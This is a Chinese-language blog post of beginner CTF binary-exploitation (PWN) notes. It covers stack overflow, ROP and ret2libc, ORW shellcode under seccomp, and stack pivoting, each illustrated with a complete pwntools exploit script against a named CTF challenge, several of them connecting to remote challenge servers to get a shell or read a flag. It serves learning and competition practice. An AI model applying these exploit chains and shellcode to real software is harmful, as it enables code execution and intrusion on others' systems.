PWN入门记录
寒假期间写的一点有关PWN入门的想法...
SKILLS &TOOLS
重要技能:调试能力,栈方面的问题一般通过调试都可以解决,堆方面的内容加以调试可以更好的理解
=>安装gdb和插件peda/pwndbg,学会gdb.attach()命令,多查阅资料和多看一些网上大佬们调试的过程掌握基本调试命令
推荐资源和工具:
(一)hitcon-training:
pros:可以自动配置虚拟机的环境(pwntools\gdb插件等)+ 典型例题
negs:大部分程序都是32位的,需要在此基础上继续掌握64位的解题操作
(二)一些工具:
one_gadget\libc database\seccomp-tools
详细见:http://p4nda.top/2018/03/03/question/
(三)大佬们的入门指南:
https://www.cnblogs.com/wintrysec/p/10616856.html
STACK
推荐资料:
(一)i春秋月刊第六期Linux pwn入门教程:
pros:全部是栈方面的内容,结合调试和源码分析讲解非常详细,分类清晰
negs:有一些源码分析的内容较难阅读,建议结合网上相关内容的博客对比学习
(二)ctf-wiki:全面、详细
常见漏洞函数
printf(&a):格式化字符串漏洞 遇到'\x00'截断的问题
gets(a):遇到'\n'结束,不检查输入字符串长度,常见造成栈溢出漏洞
strlen():遇到'\x00'结束,通常绕过条件限制
getshell的几条命令
最常见的几条用于getshell的命令:
system('/bin/sh');
execve('/bin/sh');
system('sh');
system('$0');
栈溢出覆盖
说明:作为pwn基础入门题目,通常结合memcpy()、strcmp()等函数,通过输入内容覆盖栈中指定位置的内容,有时结合栈溢出漏洞覆盖bss变量段等指定内存中的内容。
常见知识考查:大端序/小端序/常见函数作用/浮点数存储
例题:buuoj--ciscn_2019_n_1
WP:
在IDA中找到判断比较的函数,可以看到浮点数在内存中的存储方式:
传入时需要注意大小端问题,exp:
from pwn import *
context(log_level='debug')
p=remote('node3.buuoj.cn',28564)
p.recvuntil("Let's guess the number.\n")
payload='a'*(0x30-0x4)+'\x00\x80\x34\x41'
p.sendline(payload)
p.interactive()
ROP
基本特征:程序中开启NX保护,堆栈上注入的shellcode恶意指令无法执行
漏洞原理:在栈溢出的基础上,利用程序中已经有的以ret指令结束的gadgets将原先的返回地址位置填充为gadgets地址,以此达到改变寄存器变量或栈结构和劫持程序运行流的目的
理解关键:ret指令
ret
<=>pop eip/rip
也就是说ret指令会把当前栈顶指针弹出(sp->sp+4/8)并赋值给指令寄存器eip/rip,接下来程序就会去解析栈顶指针中存储的指针所指向的shellcode并执行
主要工具:ROPgadget、LibcSearcher(ret2libc)
经典类型:ret2libc
一般程序几乎不会提供system()
等后门函数,但是在libc动态库中存在system()
函数和"/bin/sh"
字符串,可以利用。ELF文件可执行文件会进行动态链接和延时绑定,也就是程序只有在执行到标准库中的库函数时才会对相关函数进行绑定,从而得到函数实际运行时的地址,写入相应函数的got表中,避免再次执行相关函数重复进行重定位操作。在程序的一次运行过程中,libc中函数的地址与实际运行地址相对偏移量是固定的。同时,libc中的函数地址与实际运行地址后12bit是固定的,于是我们可以通过泄露已执行函数的实际运行地址,并与每个libc版本库中各libc相应函数地址的后12bit进行对比,这里我们通常借助LibcSearcher库帮助我们得到远程环境上程序运行所使用的libc版本,进而得到system()等库函数的实际运行地址,劫持程序流。
如果我们在本地调试自己的程序,可以通过:
elf=ELF("./filename")
libc=elf.libc
直接得到本地环境下程序使用的libc版本。
例题:buuoj-ciscn_2019_c_1
WP:
首先在ida中分析可以看到整个程序最关键的其实只有encrypt()加密函数,在这个函数中gets()漏洞函数提供了明显的栈溢出点,同时在尝试输入后可以发现只有前0x50个字节经过异或加密处理。因此通过泄露地址得到system()实际地址以getshell,exp:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug')
p=remote('node3.buuoj.cn',29118)
#p=process('./ciscn_2019_c_1')
#gdb.attach(p)
elf=ELF('./ciscn_2019_c_1')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
ru("choice!\n")
sl('1')
ru("encrypted\n")
pop_rdi_ret=0x400c83
ret_addr=0x4009A0
payload='a'*(0x50+0x8)
payload+=p64(pop_rdi_ret)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(ret_addr)
sl(payload)
ru("\n")
ru("\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(leak_addr)
libc=LibcSearcher('__libc_start_main',leak_addr)
#使用工具LibcSearcher得到远程环境下的libc
libc_base=leak_addr-libc.dump("__libc_start_main")
#得到库函数实际地址与库函数在libc中偏移量的差值,也即libc基地址
sys_addr=libc_base+libc.dump("system")
bin_sh=libc_base+libc.dump("str_bin_sh")
#得到system函数和字符串“/bin/sh"在libc中的实际地址
ret=0x4006b9
pd='a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(sys_addr)
ru("encrypted\n")
sl(pd)
p.interactive()
ORW
典型特征:seccomp/prctl()函数
说明:一般来说,我们是可以在程序中调用系统函数的,比如说最常见的system("/bin/sh"),而当程序开启了seccomp保护或者prctl保护的时候会限制我们进行系统函数的调用,最常见的情况是直接限制execve()函数的调用,而system()函数本质上会调用execve()函数,因此我们不能通过最常见的system("/bin/sh")来getshell。这时,通常的做法是利用open,read,write/puts(orw)等这些并未被禁用的系统函数来读取flag文件内容,因此程序中必须含有我们能够利用的可读可写的内存段,一般是bss段。
工具:seccomp-tools,查看程序被禁用和可以使用的系统函数
关键知识:
1.文件描述符:内核中各文件ID号,ID号从0开始累加,程序进行时内核会自动打开3个文件标识符0、1、2,分别代表标准输入、标准输出、标准错误,随后每打开一个文件便从3开始累加
2.常见函数的定义(参数和返回值内容):
open函数:打开或创建一个函数
open(char*, flag, mode)//<fcntl.h>
char*:文件名的路径
flag:文件打开的方式
mode:创建文件的权限,若只是打开文件则不需要该参数
返回值:打开或创建文件成功则返回文件描述符;否则返回-1
read函数:
read(int fd, void *buf, size_t count)
fd:存放读入内容的文件流
*buf:读入内容的存储地址
count:读入的字节数
返回值:若成功,则时实际读入的字节数
write函数:
write(int fd, void *buf, size_t count)
fd:写入内容的文件流
*buf:存放写入内容的地址
count:写入内容的字节数
返回值:若成功,则是实际写入的字节数
3.32位程序通过栈传递参数,64位则通过rdi,rsi,rdx,rcx,r8,r9六大寄存器传递参数
类型一:利用程序中有可读可写可执行的内存段
在我们成功劫持程序流后,向可写可执行的内存段中写入执行open/read/write的shellcode随后执行(手写/使用pwntools下的shellcraft生成)
例题:Syclover2019-Not Bad
WP:
程序一开始为我们分配了从0x123000开始的一段连续的内存空间,也就是说有一段内存可以供我们随便读写执行,比如写入并执行shellcode和存放flag内容,可以看到:
int sub_400A16()
{
char buf; // [rsp+0h] [rbp-20h]
puts("Easy shellcode, have fun!");
read(0, &buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}
这里的read的长度只有0x38,不够存放orw,因此我们这里可以利用`jmp rsp劫持程序流,执行read函数,读入shellcode到分配的内存上,利用栈迁移执行shellcode,exp如下:
from pwn import *
#p=process('./bad')
p=remote('pwnto.fun',12301)
context(log_level='debug',os='linux',arch='amd64')
#gdb.attach(p)
#jmp_rsp的地址
jmp_rsp_addr=0x0000000000400a01
#read(0,0x123000,0x100)
#x64下read函数的调用号为0(rax传入),rdi存放第一个参数,rsi存放第二个参数,rdx存放第三个参数
shellcode='''
xor rdi,rdi
push 0x123100
pop rsi
push 0x100
pop rdx
xor rax,rax
syscall
'''
#利用jmp rsp; sub rsp,xxx; jmp rsp; 劫持rsp控制程序执行流程,在栈上进行了跳转
sub_jmp='''
sub rsp,0x30
jmp rsp
'''
#劫持rsp到具体的地址
#此处曾尝试写入地址跳转值0X123000但在环境ubuntu18.04中一直无法实现
jmp_123100='''
push 0x123100
pop rsp
jmp rsp
'''
#将shellcode存放于0x123100处并劫持rsp进行执行
read_addr=asm(shellcode)+asm(jmp_123100)
#栈溢出
payload1=read_addr+'a'*(0x28-len(read_addr))+p64(jmp_rsp_addr)+asm(sub_jmp)
p.recvuntil("Easy shellcode, have fun!\n")
p.sendline(payload1)
#open(const char *filename,int flags,int mode) x64下调用号2(rax)
#push rsp把栈顶指针寄存器中的值也即指向文件路径的指针赋值给rdi
open='''
push 0x67616c66
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 2
pop rax
syscall
'''
#read(unsigned int fd,char *buf,size_t count) 其中open函数的返回值也就是fd,存放于rax中
read='''
push rax
pop rdi
push 0x123200
pop rsi
push 0x100
pop rdx
xor rax,rax
syscall
'''
#write(unsigned int fd,const char *buf,size_t count) 1为标准输出流,rsi和rdx不变,系统调用号为1
write='''
push 1
pop rdi
push 1
pop rax
syscall
'''
#在syscall read时注入shellcode
payload2=asm(open)+asm(read)+asm(write)
p.sendline(payload2)
p.interactive()
WP:
类型二:利用程序中的gadgets ROP -64位
通常在成功劫持程序执行流后,我们先通过一个read函数将flag文件路径读入到buf,随后利用已有的gadgets执行open/read/write等函数
例题:Hgame2020-Week1-ROP_level0
WP:
from pwn import *
context(log_level='debug',arch='amd64')
#p=remote('47.103.214.163',20003)
p=process('./2rop')
gdb.attach(p)
e=ELF("./2rop")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
pop_rsi_r15_ret=0x400751
pop_rdi_ret=0x400753
buf=0x601050
ru("/flag\n")
pd='a'*(0x50+0x8)
#rdi->0 rsi->buf rdx->0x100
pd+=p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(e.plt["read"])
#rdi->./flag rsi->0 rdx->--
pd+=p64(pop_rdi_ret)+p64(buf)+p64(pop_rsi_r15_ret)+p64(0)*2+p64(e.plt['open'])
#rdi->*file rsi->buf rdx->0x100
pd+=p64(pop_rdi_ret)+p64(4)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(e.plt['read'])
#rdi->buf
pd+=p64(pop_rdi_ret)+p64(buf)+p64(e.plt['puts'])
sl(pd)
sleep(1)
sl("./flag\x00")
p.interactive()
Stack pivot
典型特征:leave_ret、可溢出字节数有限
说明:当栈溢出的字节数非常有限(典型情况是32位下可溢出8字节,64位下可溢出16字节),我们通常利用leave_ret
这一gadget伪造ebp/rbp,实现栈迁移,继而实现执行在合适位置上的ROP链。
关键知识:理解leave_ret
在调用函数的初始阶段都会有这样的两条指令:
push ebp
mov ebp,esp
那么在函数调用结束的时候,为了保持栈的平衡,会有两条指令与之对应,将这两条指令结合在一起就是leave指令:
mov esp,ebp
pop ebp
在实现stack pivot攻击时,需要执行两次连续的leave_ret指令,一般情况下具体的执行过程如下所示:
(一)32位:
例题:Hitcon-training-LAB6-migration
WP:
from pwn import *
context(log_level='debug',arch='i386')
p=process('./migration')
gdb.attach(p)
elf=ELF('./migration')
libc=elf.libc
#64-40=24/4=6
bss_start=0x0804A00C
buf1_addr=bss_start+0x200
buf2_addr=bss_start+0x600
read_plt=elf.plt['read']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
leave_ret=0x08048418
ret_addr=0x0804836d #pop_ebx_ret
payload='a'*0x28+p32(buf1_addr)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1_addr)+p32(0x30)
#栈分布相同
#ebp+read+read_ret_addr+read_var
#leave-->mov esp,ebp;pop ebp
#fake_stack
#payload+=p32(buf2_addr)+p32(puts_plt)+p32(pop_edx_ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2_addr)+p32(0x30)
payload+=p32(buf2_addr)+p32(puts_plt)+p32(ret_addr)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2_addr)+p32(0x10)
#read_content
p.recvuntil('Try your best :\n')
p.sendline(payload)
sleep(1)
#ebp+put_addr+put_ret_addr+put_var+read_addr+read_ret_addr+read_var+read_content
puts_addr=u32(p.recv(4))
offset=puts_addr-libc.symbols['puts']
#the offset(between libc and real situation) is fixed
system=offset+libc.symbols['system']
bin_sh_addr=offset+libc.search("/bin/sh").next()
payload2=p32(0)+p32(system)+p32(0)+p32(bin_sh_addr)
p.send(payload2)
p.interactive()
(二)64位:
例题:Hgame2020-Week3-ROP_LEVEL2
WP:
exp在栈溢出点执行了两次leave_ret(源程序在read结束后执行了一次leave_ret,我们又将返回地址变成了leave_ret指令的地址,执行第二次),结合调试可以看到与我们上面总结的过程相符:
from pwn import *
context(log_level='debug',arch='amd64')
#p=remote('47.103.214.163', 20300)
p=process('./ROP')
gdb.attach(p)
e=ELF("./ROP")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
pop_rdi_ret=0x400a43
pop_rsi_r15_ret=0x400a41
buf=0x601190
pd=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(e.plt['read'])
pd+=p64(pop_rdi_ret)+p64(buf)+p64(pop_rsi_r15_ret)+p64(0)*2+p64(e.plt['open'])
pd+=p64(pop_rdi_ret)+p64(4)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(e.plt['read'])
pd+=p64(pop_rdi_ret)+p64(buf)+p64(e.plt['puts'])
ru("It's just a little bit harder...Do you think so?\n")
sl(pd)
ru("/flag\n")
leave_ret=0x40090d
pd='a'*0x50+p64(0x6010A0-8)+p64(leave_ret)
p.send(pd)
p.send("./flag\x00")
p.interactive()